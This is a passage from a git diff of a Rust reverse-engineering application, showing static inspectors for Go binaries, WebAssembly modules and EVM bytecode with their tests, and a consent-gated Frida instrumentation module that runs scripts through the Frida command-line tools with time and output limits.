"offset": p.offset, "limit": limit}), + ) + .result(json!({ + "container": r.container, "slice": r.slice, "slices_available": r.slices_available, "architecture": r.architecture, + "is_64": r.is_64, "big_endian": r.big_endian, "is_go": r.is_go, + "search_region": r.search_region, "mappings": r.mappings, "zero_fills": r.zero_fills, + "buildinfo": r.buildinfo, "pclntab": pcl, + "packages": r.packages.iter().take(500).collect::>(), "package_count": r.packages.len(), + "functions_matching": all_funcs.len(), "functions": funcs, + "warnings": r.warnings, + })) + .summary(summary) + .confidence(if r.is_go { Confidence::Observed } else { Confidence::Inferred }) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(cov) + .location(Location::new("path", input.path.display().to_string())); + if let Some(b) = b { + ev = ev.location(Location::new("file_offset", format!("{:#x}", b.offset)).with_label("build information")); + } + Ok(ToolOutput::evidence(ev.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// WebAssembly + +fn formats_wasm_module_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: WasmParams = parse_params(params)?; + if p.js_glue_files.len() > 16 { + return Err(ToolError::invalid("js_glue_files takes at most 16 files")); + } + let input = static_input::load(ctx, p.path.as_deref(), wasm::MAX_INPUT as u64)?; + ctx.report(None, format!("Reading WebAssembly module {}", input.name)); + let r = wasm::inspect(&input.bytes).map_err(|e| format_err(e, "a WebAssembly module"))?; + ctx.cancel.check()?; + let limit = p.limit.clamp(1, 5000); + let wat_limit = p.wat_limit.clamp(1, 200_000); + let mut lims = Vec::new(); + let mut wat = Value::Null; + if p.include_wat { + if !r.validation.valid { + lims.push(Limitation::new("wat_not_rendered", "The module failed validation, so no text form was produced.")); + } else { + match wasm::to_wat(&input.bytes, WAT_CAP) { + Ok((text, truncated)) => { + let total = text.chars().count(); + let page_text: String = text.chars().skip(p.wat_offset).take(wat_limit).collect(); + let shown = page_text.chars().count(); + let end = p.wat_offset.saturating_add(shown); + if truncated { + lims.push(Limitation::new("wat_capped", format!("The text form was cut at {WAT_CAP} bytes."))); + } + wat = json!({"text": page_text, "offset": p.wat_offset, "chars": shown, "total_chars": total, + "next_offset": (end < total).then_some(end), "capped": truncated}); + } + Err(e) => lims.push(Limitation::new("wat_not_rendered", format!("The text form could not be produced: {e}"))), + } + } + } + let mut glue = Vec::new(); + for g in &p.js_glue_files { + ctx.cancel.check()?; + let gi = static_input::load_path(g, 8 << 20)?; + let text = String::from_utf8_lossy(&gi.bytes); + glue.push(json!({"path": g, "scan": wasm::scan_glue(&text, &r.imports)})); + } + let (funcs, cov) = page(&r.functions, p.offset, limit); + let validity = if r.validation.valid { + "valid".to_string() + } else { + format!("INVALID ({} at byte {})", r.validation.error.as_deref().unwrap_or("?"), r.validation.offset.unwrap_or(0)) + }; + let summary = format!( + "WebAssembly {} ({validity}): {} imports, {} exports, {} functions, {} memories{}{}.", + r.encoding, + r.imports.len(), + r.exports.len(), + r.functions.len(), + r.memories.len(), + r.module_name.as_ref().map(|n| format!(", module name \"{n}\"")).unwrap_or_default(), + r.producers.iter().find(|f| f.field == "language").and_then(|f| f.values.first()).map(|v| format!(", written in {}", v.name)).unwrap_or_default() + ); + if r.truncated { + lims.push(Limitation::new("truncated", format!("Lists stop at {} entries.", wasm::MAX_ITEMS))); + } + if r.parse_error.is_some() { + lims.push(Limitation::new("parse_stopped", "Reading stopped at a damaged section; later sections are missing from the lists.")); + } + if r.encoding == "component" { + lims.push(Limitation::new("component", "Components are validated and their top-level layout listed; inner modules are not described.")); + } + lims.push(Limitation::new( + "static_only", + "Nothing was executed; behaviour depends on the host's import implementations, which are not part of the module.", + )); + let result = match p.detail { + WasmDetail::Summary => json!({ + "encoding": r.encoding, "version": r.version, "size": r.size, "validation": r.validation, "parse_error": r.parse_error, + "counts": {"sections": r.sections.len(), "types": r.types, "imports": r.imports.len(), "exports": r.exports.len(), + "functions": r.functions.len(), "memories": r.memories.len(), "tables": r.tables.len(), "globals": r.globals.len(), + "data_segments": r.data_segments, "element_segments": r.element_segments, "custom_sections": r.custom_sections.len()}, + "exports": r.exports.iter().take(50).collect::>(), + "module_name": r.module_name, "producers": r.producers, "target_features": r.target_features, + "source_mapping_url": r.source_mapping_url, "wat": wat, "glue": glue, "warnings": r.warnings, + }), + WasmDetail::Complete => json!({ + "encoding": r.encoding, "version": r.version, "size": r.size, "validation": r.validation, "parse_error": r.parse_error, + "sections": r.sections, "types": r.types, "imports": r.imports, "imported_functions": r.imported_functions, "exports": r.exports, + "functions_total": r.functions.len(), "functions": funcs, + "memories": r.memories, "tables": r.tables, "globals": r.globals, "start_function": r.start_function, + "data_segments": r.data_segments, "element_segments": r.element_segments, "data_count": r.data_count, + "custom_sections": r.custom_sections, "module_name": r.module_name, "producers": r.producers, + "target_features": r.target_features, "source_mapping_url": r.source_mapping_url, "external_debug_info": r.external_debug_info, + "truncated": r.truncated, "wat": wat, "glue": glue, "warnings": r.warnings, + }), + }; + let ev = builder( + ctx, + "formats_wasm_module_show", + input.subject.clone(), + json!({"path": input.path, "detail": p.detail, "include_wat": p.include_wat, "wat_offset": p.wat_offset, "wat_limit": wat_limit, "offset": p.offset, "limit": limit, "js_glue_files": p.js_glue_files}), + ) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(if p.detail == WasmDetail::Complete { cov } else { Coverage::complete(1) }) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// EVM + +fn formats_evm_interface_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: EvmParams = parse_params(params)?; + let enc = match p.encoding { + EvmEncoding::Auto => evm::Encoding::Auto, + EvmEncoding::Raw => evm::Encoding::Raw, + EvmEncoding::Hex => evm::Encoding::Hex, + }; + let (raw, subject, where_from): (Vec, Option, String) = match (&p.path, &p.bytecode) { + (Some(_), Some(_)) => return Err(ToolError::invalid("pass either path or bytecode, not both")), + (None, Some(b)) => { + if b.len() > 2 * evm::MAX_CODE + 16 { + return Err(ToolError::invalid("bytecode is too long")); + } + (b.as_bytes().to_vec(), None, "inline bytecode".to_string()) + } + (path, None) => { + let i: Input = static_input::load(ctx, path.as_deref(), 2 * evm::MAX_CODE as u64 + 16)?; + let w = i.path.display().to_string(); + (i.bytes.to_vec(), Some(i.subject), w) + } + }; + let (code, used) = evm::decode_input(&raw, enc).map_err(|e| { + format_err(e, "EVM bytecode") + .with_remediation("Pass raw bytes, or hex with an optional 0x prefix and an even number of digits (encoding=hex forces hex).") + })?; + let r = evm::analyze(&code).map_err(|e| format_err(e, "EVM bytecode"))?; + let subject = match subject { + Some(mut s) => { + if used == "hex" { + // The id is about the decoded code; the file hash stays recorded in params. + s.kind = "evm".into(); + } + s + } + None => Subject { kind: "evm".into(), sha256: Some(sha256_hex(&code)), name: Some("inline bytecode".into()) }, + }; + let shown: Vec = r.functions.iter().take(8).map(|f| format!("{} {}", f.selector, f.mutability)).collect(); + let summary = format!( + "{} selector(s) found ({} dispatcher{}): {}{}; fallback {}{}.", + r.functions.len(), + r.style, + r.selector_extraction.map(|s| format!(", selector via {s}")).unwrap_or_default(), + if shown.is_empty() { "none".to_string() } else { shown.join(", ") }, + if r.functions.len() > 8 { ", …" } else { "" }, + r.fallback, + r.metadata.as_ref().and_then(|m| m.compiler.clone()).map(|c| format!("; compiled by {c}")).unwrap_or_default() + ); + let mut lims = vec![ + Limitation::new( + "names_unknown", + "Function names and argument types are not in the bytecode; match the selectors against an ABI or a signature list to name them.", + ), + Limitation::new( + "mutability_inferred", + "Payable/non-payable comes from the presence of a CALLVALUE check near each entry; view/pure cannot be told from bytecode alone.", + ), + Limitation::new( + "pattern_dispatch", + "Dispatchers are recognised by instruction patterns (compare-and-jump, binary-search splits, compare-and-fall-through). Jump-table or hashed dispatchers, proxies and hand-written code may not be recognised.", + ), + ]; + if r.style == "vyper-like" || r.style == "mixed" { + lims.push(Limitation::new("fallthrough_dispatch", "Compare-and-fall-through dispatch was recognised; function entry is the instruction after the check, so offsets point inside the dispatcher region.")); + } + if r.functions.is_empty() { + lims.push(Limitation::new( + "absence_not_proof", + "No dispatcher found; this does not prove the contract has no public functions (it may be creation code, a proxy or use another dispatch scheme).", + )); + } + let n = r.functions.len() as u64; + let ev = builder(ctx, "formats_evm_interface_show", subject, json!({"source": where_from, "encoding": p.encoding, "decoded_as": used})) + .result(json!({ + "decoded_as": used, + "code_size": r.code_size, "analysed_size": r.analysed_size, "metadata": r.metadata, + "instructions": r.instructions, "jumpdests": r.jumpdests, + "selector_extraction": r.selector_extraction, "dispatcher_offset": r.dispatcher_offset, "style": r.style, + "functions": r.functions, "binary_search_splits": r.binary_search_splits, + "callvalue_check_before_dispatch": r.callvalue_check_before_dispatch, "short_calldata_check": r.short_calldata_check, + "fallback": r.fallback, "receive": r.receive, + "dispatcher_listing": r.dispatcher_listing, "warnings": r.warnings, + })) + .summary(summary) + .confidence(if r.functions.is_empty() { Confidence::Inferred } else { Confidence::Derived }) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(Coverage::complete(n)) + .locations(r.functions.iter().take(64).map(|f| Location::new("bytecode_offset", format!("{:#x}", f.bytecode_offset)).with_label(f.selector.clone()))) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err, engine_with}; + use crate::Engine; + use craft_anything_testkit::formats as fx; + use craft_anything_testkit::temp_file; + use serde_json::json; + + #[test] + fn go_binary_from_path_and_active_target() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("hello", &fx::go_elf()); + let v = call(&e, "native_go_binary_show", json!({"path": p, "limit": 2})); + let r = &v["result"]; + assert_eq!(r["buildinfo"]["go_version"], fx::GO_VERSION); + assert_eq!(r["buildinfo"]["deps"].as_array().unwrap().len(), 2); + assert_eq!(r["functions"].as_array().unwrap().len(), 2); + assert_eq!(r["functions"][0]["name"], "main.main"); + assert_eq!(v["coverage"]["next_offset"], 2); + assert!(v["summary"].as_str().unwrap().contains("go1.21.5")); + let q = call(&e, "native_go_binary_show", json!({"path": p, "query": "CLIENT"})); + assert_eq!(q["result"]["functions_matching"], 1); + let e2 = engine_with("hello-macho", &fx::go_macho()); + let m = call(&e2, "native_go_binary_show", json!({})); + assert_eq!(m["result"]["buildinfo"]["encoding"], "pointer"); + assert!(m["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "pclntab_scanned")); + let not_go = engine_with("plain", &craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::X86_64, true).0); + let n = call(¬_go, "native_go_binary_show", json!({})); + assert_eq!(n["result"]["is_go"], false); + let err = call_err(&e, "native_go_binary_show", json!({"path": "relative"})); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::BadInput); + } + + #[test] + fn wasm_module_with_wat_and_glue() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("demo.wasm", &fx::wasm_module()); + let g = temp_file("demo.js", fx::WASM_GLUE.as_bytes()); + let v = call(&e, "formats_wasm_module_show", json!({"path": p, "include_wat": true, "wat_limit": 30, "js_glue_files": [g]})); + let r = &v["result"]; + assert_eq!(r["validation"]["valid"], true); + assert_eq!(r["functions"][0]["name"], "add"); + assert_eq!(r["wat"]["chars"], 30); + assert_eq!(r["wat"]["next_offset"], 30); + assert_eq!(r["glue"][0]["scan"]["matched_imports"][0], "env.log"); + let s = call(&e, "formats_wasm_module_show", json!({"path": p, "detail": "summary"})); + assert_eq!(s["result"]["counts"]["exports"], 3); + let mut bad = fx::wasm_module(); + bad.truncate(bad.len() - 7); + let b = call(&e, "formats_wasm_module_show", json!({"path": temp_file("bad.wasm", &bad), "include_wat": true})); + assert_eq!(b["result"]["validation"]["valid"], false); + assert!(b["summary"].as_str().unwrap().contains("INVALID")); + call_err(&e, "formats_wasm_module_show", json!({"path": temp_file("x.wasm", b"nope")})); + } + + #[test] + fn evm_interface_inline_and_file() { + let e = Engine::new(crate::testing::session()); + let (code, _) = fx::evm_runtime(); + let v = call(&e, "formats_evm_interface_show", json!({"bytecode": fx::to_hex(&code)})); + let r = &v["result"]; + assert_eq!(r["decoded_as"], "hex"); + assert_eq!(r["functions"].as_array().unwrap().len(), 3); + assert_eq!(r["functions"][2]["mutability"], "payable"); + assert!(v["summary"].as_str().unwrap().contains("solc 0.8.19")); + let f = call(&e, "formats_evm_interface_show", json!({"path": temp_file("c.bin", &code), "encoding": "raw"})); + assert_eq!(f["result"]["functions"], r["functions"]); + let err = call_err(&e, "formats_evm_interface_show", json!({"bytecode": "0x123"})); + assert!(err.message.contains("odd")); + call_err(&e, "formats_evm_interface_show", json!({"bytecode": "0xef0001"})); + call_err(&e, "formats_evm_interface_show", json!({"bytecode": "00", "path": "/x"})); + } +} diff --git a/desktop/crates/engine/src/tools/frida_tools.rs b/desktop/crates/engine/src/tools/frida_tools.rs new file mode 100644 index 0000000..8150a1e --- /dev/null +++ b/desktop/crates/engine/src/tools/frida_tools.rs @@ -0,0 +1,765 @@ +//! Frida instrumentation, driven through the Frida command-line tools (`frida`, `frida-ps`, +//! `frida-ls-devices`) located via [`craft_anything_engines::locate`] — never a native binding. +//! +//! A "session" here is REI Reverse Engineer's own managed record of an attach/spawn intent, held in the +//! session's process memory (not the binary session) and keyed by a generated id. Scripts are +//! executed by invoking the Frida CLI for a bounded window with closed stdin, capped output and a +//! deadline, so an instrumentation run can never hang the app. Running a script executes foreign +//! code, so `frida_script_run`, `frida_session_continue` and `frida_instrument_run` carry +//! [`Effects::EXECUTES_FOREIGN_CODE`] and are consent-gated. +//! +//! Remote-device authentication (token, certificate, origin) is accepted only to be forwarded to +//! the CLI as arguments; it is held in process memory, never logged, returned, or written to +//! evidence. + +use super::artifact_tools::{abs_path, fresh_temp_dir, read_capped}; +use super::native_common::spec; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_engines::frida::{Attach, Frida, Remote, Selector}; +use craft_anything_evidence::{Authority, Confidence, Coverage, Environment, ErrorCode, Evidence, EvidenceBuilder, Limitation, Subject, ToolError, sha256_hex}; +use craft_anything_platform::process::{Cancel, Output}; +use craft_anything_platform::sync::Mutex; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::HashMap; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::{Arc, PoisonError}; +use std::time::Duration; + +pub fn specs() -> Vec { + use Toolset::Frida; + let base = Effects::MUTATES_SESSION | Effects::LAUNCHES_PROCESS | Effects::ACCESSES_NETWORK; + let foreign = base | Effects::MUTATES_TARGET | Effects::EXECUTES_FOREIGN_CODE; // consent-gated + let eng = Requires::Engine("frida"); + vec![ + spec( + "frida_devices_find", + "Frida devices", + "List devices Frida can see with `frida-ls-devices` (local, usb, remote). Pass remote to get one entry for a remote address without contacting it, so its reachability and auth are unverified (`frida-ps -H` checks it); its auth is forwarded to the CLI and never returned.", + "See which devices the instrumentation tool can reach.", + Frida, + base, + eng, + schema_of::, + frida_devices_find, + ), + spec( + "frida_targets_list", + "Frida processes", + "List processes and installed apps on the selected device with `frida-ps`. Give exactly one of device_id or remote.", + "See what is running on the device so you can pick something to study.", + Frida, + base, + eng, + schema_of::, + frida_targets_list, + ), + spec( + "frida_session_begin", + "Start a Frida session", + "Begin a managed Frida session. mode=attach needs pid; mode=spawn needs program (absolute) and optional argv. Returns a session_id (held in memory) you pass to the other Frida tools. This records the session; code runs only when you load or resume a script.", + "Pick a running app (or launch one) to study with instrumentation.", + Frida, + base | Effects::MUTATES_TARGET, + eng, + schema_of::, + frida_session_begin, + ), + spec( + "frida_script_run", + "Run a Frida script", + "Load and run an instrumentation script in a session for a bounded window, capturing its console/send output. source_kind=inline with source, or source_kind=file with an absolute path. Executing a script runs foreign code, so this is consent-gated and changes the target.", + "Run a small instrumentation script against the app and collect what it reports.", + Frida, + foreign, + eng, + schema_of::, + frida_script_run, + ), + spec( + "frida_session_continue", + "Resume a Frida session", + "Resume a spawned, paused session so the target runs. Executes foreign code (the target's own), so this is consent-gated.", + "Let a paused app continue running under instrumentation.", + Frida, + foreign, + eng, + schema_of::, + frida_session_continue, + ), + spec( + "frida_script_forget", + "Unload a Frida script", + "Forget a loaded script in a session (record-keeping; the bounded CLI run that executed it has already ended).", + "Stop tracking a script you ran earlier.", + Frida, + base | Effects::MUTATES_TARGET, + eng, + schema_of::, + frida_script_forget, + ), + spec( + "frida_session_show", + "Frida session status", + "Report a managed session's state, its device/target, and the scripts run in it with their most recent captured messages.", + "Check on an instrumentation session you started.", + Frida, + Effects::MUTATES_SESSION, + eng, + schema_of::, + frida_session_show, + ), + spec( + "frida_session_end", + "Close a Frida session", + "End a managed session and forget it. Never kills the target process.", + "Finish an instrumentation session.", + Frida, + base | Effects::MUTATES_TARGET, + eng, + schema_of::, + frida_session_end, + ), + spec( + "frida_instrument_run", + "One-shot instrumentation", + "Attach to (or spawn) a target, run a script for duration_ms (0..60000, default 1000), capture its output, and detach — all in one call. Executes foreign code, so it is consent-gated and destructive.", + "Run a quick instrumentation script against an app and get the results in one step.", + Frida, + foreign, + eng, + schema_of::, + frida_instrument_run, + ), + ] +} + +// ------------------------------------------------------------------------------------------------ +// Session store (process-memory only; never serialized with its auth) + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Mode { + Attach, + Spawn, +} + +impl Mode { + fn as_str(self) -> &'static str { + match self { + Mode::Attach => "attach", + Mode::Spawn => "spawn", + } + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum State { + Paused, + Running, + Detached, +} + +impl State { + fn as_str(self) -> &'static str { + match self { + State::Paused => "paused", + State::Running => "running", + State::Detached => "detached", + } + } +} + +struct ScriptRecord { + script_id: String, + source_kind: String, + source_path: Option, + source_sha256: String, + messages: Vec, + messages_truncated: bool, +} + +struct FridaSession { + session_id: String, + device_label: String, + /// The selector (may hold remote auth); never serialized. + selector: Selector, + attach: Attach, + target: String, + pid: Option, + mode: Mode, + state: State, + scripts: Vec, +} + +/// The session table lives in the engine session's shared extension slot. +struct FridaStore(Mutex>); + +fn store(ctx: &mut Ctx<'_>) -> Arc { + if let Some(s) = ctx.session.ext.get::() { + return s; + } + let s = Arc::new(FridaStore(Mutex::new(HashMap::new()))); + ctx.session.ext.insert(s.clone()); + s +} + +static COUNTER: AtomicU64 = AtomicU64::new(0); + +fn new_id(prefix: &str) -> String { + let n = COUNTER.fetch_add(1, Ordering::Relaxed); + let nanos = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map(|d| d.as_nanos()).unwrap_or(0); + let seed = format!("{prefix}:{}:{nanos}:{n}", std::process::id()); + format!("{prefix}_{}", &sha256_hex(seed.as_bytes())[..32]) +} + +// ------------------------------------------------------------------------------------------------ +// Params + +#[derive(Debug, Serialize, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct RemoteSpec { + /// host[:port] of a frida-server. + address: String, + #[serde(default)] + token: Option, + #[serde(default)] + certificate: Option, + #[serde(default)] + origin: Option, + #[serde(default)] + keepalive_interval: Option, +} + +impl RemoteSpec { + fn into_remote(self) -> Remote { + Remote { address: self.address, token: self.token, certificate: self.certificate, origin: self.origin, keepalive_interval: self.keepalive_interval } + } +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct RemoteOnlyParams { + #[serde(default)] + remote: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct SelectorParams { + #[serde(default)] + device_id: Option, + #[serde(default)] + remote: Option, +} + +impl SelectorParams { + fn selector(self) -> Selector { + Selector { device_id: self.device_id, remote: self.remote.map(RemoteSpec::into_remote) } + } +} + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +enum StartMode { + Attach, + Spawn, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct StartParams { + #[serde(default)] + device_id: Option, + #[serde(default)] + remote: Option, + mode: StartMode, + /// Process id (mode=attach). + #[serde(default)] + pid: Option, + /// Absolute program path (mode=spawn). + #[serde(default)] + program: Option, + /// Extra arguments for a spawned program. + #[serde(default)] + argv: Vec, +} + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +enum SourceKind { + Inline, + File, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct LoadScriptParams { + session_id: String, + source_kind: SourceKind, + /// Script source (source_kind=inline). + #[serde(default)] + source: Option, + /// Absolute path to a script file (source_kind=file). + #[serde(default)] + path: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct SessionIdParams { + session_id: String, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct UnloadParams { + session_id: String, + script_id: String, +} + +fn default_duration() -> u32 { + 1000 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +struct InstrumentParams { + #[serde(default)] + device_id: Option, + #[serde(default)] + remote: Option, + mode: StartMode, + #[serde(default)] + pid: Option, + #[serde(default)] + program: Option, + #[serde(default)] + argv: Vec, + source_kind: SourceKind, + #[serde(default)] + source: Option, + #[serde(default)] + path: Option, + /// How long to run the script, in milliseconds (0..60000). + #[serde(default = "default_duration")] + duration_ms: u32, +} + +// ------------------------------------------------------------------------------------------------ +// Shared plumbing + +const MAX_SCRIPT_BYTES: u64 = 4 * 1024 * 1024; +const MAX_MESSAGES: usize = 5000; + +fn frida_for(ctx: &Ctx<'_>) -> Result { + let s = &ctx.session.settings; + let path = craft_anything_engines::locate("frida", &s.engines.tools, &s.engine_store_dir()) + .ok_or_else(|| ToolError::new(ErrorCode::EngineMissing, "Frida isn't installed.").with_remediation(INSTALL))?; + Ok(Frida::new(path).cancel(cancel_of(ctx))) +} + +const INSTALL: &str = "Install Frida (for example `pipx install frida-tools`), then set its path in Settings → Engines if it isn't on PATH."; + +fn cancel_of(ctx: &Ctx<'_>) -> Cancel { + let c = ctx.cancel.clone(); + Arc::new(move || c.is_cancelled()) +} + +fn frida_env(ctx: &Ctx<'_>) -> Environment { + Environment { + clean_room: ctx.session.clean_room(), + engine: "frida".into(), + engine_version: None, + host: craft_anything_evidence::host_triple(), + language_id: None, + } +} + +fn frida_subject(target: &str) -> Subject { + Subject { kind: "frida-session".into(), sha256: None, name: Some(target.to_string()) } +} + +fn validate_pid(pid: u32) -> Result { + if pid == 0 { Err(ToolError::invalid("pid must be non-zero")) } else { Ok(pid) } +} + +fn validate_argv(argv: &[String]) -> Result<(), ToolError> { + if argv.len() > 64 { + return Err(ToolError::invalid("at most 64 argv entries")); + } + for a in argv { + if a.len() > 4096 || a.bytes().any(|b| b == 0) { + return Err(ToolError::invalid("an argv entry is too long or contains a NUL byte")); + } + } + Ok(()) +} + +/// Read a script into bytes from inline source or an absolute file; returns (bytes, source_path). +fn read_script(kind: SourceKind, source: &Option, path: &Option) -> Result<(Vec, Option), ToolError> { + match kind { + SourceKind::Inline => { + let src = source.as_ref().ok_or_else(|| ToolError::invalid("source_kind=inline needs source"))?; + if src.len() as u64 > MAX_SCRIPT_BYTES { + return Err(ToolError::new(ErrorCode::OverLimit, "the inline script is too large")); + } + Ok((src.as_bytes().to_vec(), None)) + } + SourceKind::File => { + let p = path.as_ref().ok_or_else(|| ToolError::invalid("source_kind=file needs path"))?; + let pb = abs_path(p, "path")?; + let bytes = read_capped(&pb, MAX_SCRIPT_BYTES)?; + Ok((bytes, Some(pb.to_string_lossy().into_owned()))) + } + } +} + +/// Run a script via the Frida CLI for a bounded window and collect console/send output lines. +fn run_and_collect( + ctx: &Ctx<'_>, + selector: &Selector, + attach: &Attach, + script: &[u8], + duration_ms: u32, +) -> Result<(Vec, bool, Option), ToolError> { + let dir = fresh_temp_dir("craft-anything-frida")?; + let script_file = dir.join("script.js"); + let write = craft_anything_platform::fs::write_atomic(&script_file, script); + let result = (|| { + write?; + let wall = Duration::from_millis(u64::from(duration_ms.clamp(1, 60_000))).saturating_add(Duration::from_secs(10)); + let frida = frida_for(ctx)?.timeout(wall).idle_timeout(Duration::from_secs(8)); + let out: Output = frida.run_script(selector, attach, &script_file)?; + let (messages, truncated) = collect_lines(&out.stdout_text()); + // A frida CLI that couldn't attach prints to stderr and exits non-zero with no messages. + if !out.success && messages.is_empty() { + let tail = tail_text(&out.stderr_text()); + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("Frida could not run the script: {}", tail.lines().next_back().unwrap_or("").trim())) + .with_remediation("Check the device is reachable, frida-server is running, and the pid/program is valid.") + .with_details(json!({"exit_code": out.code, "stderr_tail": tail}))); + } + Ok((messages, truncated, out.code)) + })(); + let _ = std::fs::remove_dir_all(&dir); + result +} + +fn collect_lines(text: &str) -> (Vec, bool) { + let mut out = Vec::new(); + let mut truncated = false; + for line in text.lines() { + let t = line.trim_end(); + if t.is_empty() { + continue; + } + if out.len() >= MAX_MESSAGES { + truncated = true; + break; + } + let clipped: String = t.chars().take(8192).collect(); + out.push(clipped); + } + (out, truncated) +} + +fn tail_text(s: &str) -> String { + let n = s.chars().count(); + s.chars().skip(n.saturating_sub(2000)).collect() +} + +fn done(e: Evidence) -> Result { + Ok(ToolOutput::evidence(e)) +} + +fn value(v: Value) -> Result { + Ok(ToolOutput::Value(v)) +} + +// ------------------------------------------------------------------------------------------------ +// Tools + +fn frida_devices_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: RemoteOnlyParams = parse_params(params)?; + let selector = p.remote.map(|r| Selector { device_id: None, remote: Some(r.into_remote()) }); + let frida = frida_for(ctx)?; + let devices = frida.list_devices(selector.as_ref())?; + value(json!({"devices": devices, "count": devices.len(), "cleanup_error": Value::Null})) +} + +fn frida_targets_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SelectorParams = parse_params(params)?; + let selector = p.selector(); + selector.args()?; // validate exactly-one + values before spawning + let frida = frida_for(ctx)?; + let procs = frida.list_processes(&selector)?; + value(json!({"device_id": selector.device_id, "processes": procs, "count": procs.len(), "cleanup_error": Value::Null})) +} + +fn frida_session_begin(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: StartParams = parse_params(params)?; + let selector = Selector { device_id: p.device_id.clone(), remote: p.remote.map(RemoteSpec::into_remote) }; + selector.args()?; + let device_label = selector.device_id.clone().unwrap_or_else(|| "remote".to_string()); + let (attach, target, pid, mode, state) = match p.mode { + StartMode::Attach => { + let pid = validate_pid(p.pid.ok_or_else(|| ToolError::invalid("mode=attach needs pid"))?)?; + (Attach::Pid(pid), format!("pid {pid}"), Some(pid), Mode::Attach, State::Running) + } + StartMode::Spawn => { + let prog = p.program.as_ref().ok_or_else(|| ToolError::invalid("mode=spawn needs program"))?; + let pb = abs_path(prog, "program")?; + validate_argv(&p.argv)?; + (Attach::Spawn { program: pb.clone(), argv: p.argv.clone() }, pb.to_string_lossy().into_owned(), None, Mode::Spawn, State::Paused) + } + }; + // Confirm the engine is present now (so a bad environment fails here, not later). + let _ = frida_for(ctx)?; + let session_id = new_id("fs"); + let session = FridaSession { + session_id: session_id.clone(), + device_label: device_label.clone(), + selector, + attach, + target: target.clone(), + pid, + mode, + state, + scripts: Vec::new(), + }; + let st = store(ctx); + st.0.lock().unwrap_or_else(PoisonError::into_inner).insert(session_id.clone(), session); + value(json!({"session_id": session_id, "device_id": device_label, "target": target, "pid": pid, "mode": mode.as_str(), "state": state.as_str()})) +} + +fn frida_script_run(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: LoadScriptParams = parse_params(params)?; + let (script, source_path) = read_script(p.source_kind, &p.source, &p.path)?; + let source_sha256 = sha256_hex(&script); + let source_kind = match p.source_kind { + SourceKind::Inline => "inline", + SourceKind::File => "file", + }; + // Pull the session's selector/attach out under the lock, then run the CLI without holding it. + let st = store(ctx); + let (selector, attach, target) = { + let guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + let s = guard.get(&p.session_id).ok_or_else(unknown_session)?; + if s.state == State::Detached { + return Err(ToolError::new(ErrorCode::BadInput, "that session is closed").with_remediation("Start a new session with frida_session_begin.")); + } + (s.selector.clone(), s.attach.clone(), s.target.clone()) + }; + let (messages, truncated, exit) = run_and_collect(ctx, &selector, &attach, &script, 3000)?; + let script_id = new_id("fsc"); + { + let mut guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + if let Some(s) = guard.get_mut(&p.session_id) { + s.state = State::Running; + s.scripts.push(ScriptRecord { + script_id: script_id.clone(), + source_kind: source_kind.to_string(), + source_path: source_path.clone(), + source_sha256: source_sha256.clone(), + messages: messages.clone(), + messages_truncated: truncated, + }); + } + } + let e = EvidenceBuilder::new("frida_script_run", frida_subject(&target), frida_env(ctx)) + .params(json!({"session_id": p.session_id, "source_kind": source_kind, "source_path": source_path})) + .authority(Authority::OutsideService) + .confidence(Confidence::Observed) + .result(json!({ + "script_id": script_id, "source_kind": source_kind, "source_path": source_path, "source_sha256": source_sha256, + "messages": messages, "messages_truncated": truncated, "exit_code": exit, + })) + .summary(format!("Ran a script in session {} ({} message(s) captured).", p.session_id, messages.len())) + .limitation(Limitation::new( + "bounded_cli_run", + "The script ran via the Frida CLI for a bounded window with closed stdin; a long-lived interactive session is not held open between calls.", + )) + .coverage(Coverage::complete(messages.len() as u64)) + .build()?; + done(e) +} + +fn frida_session_continue(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SessionIdParams = parse_params(params)?; + let st = store(ctx); + let mut guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + let s = guard.get_mut(&p.session_id).ok_or_else(unknown_session)?; + if s.state == State::Detached { + 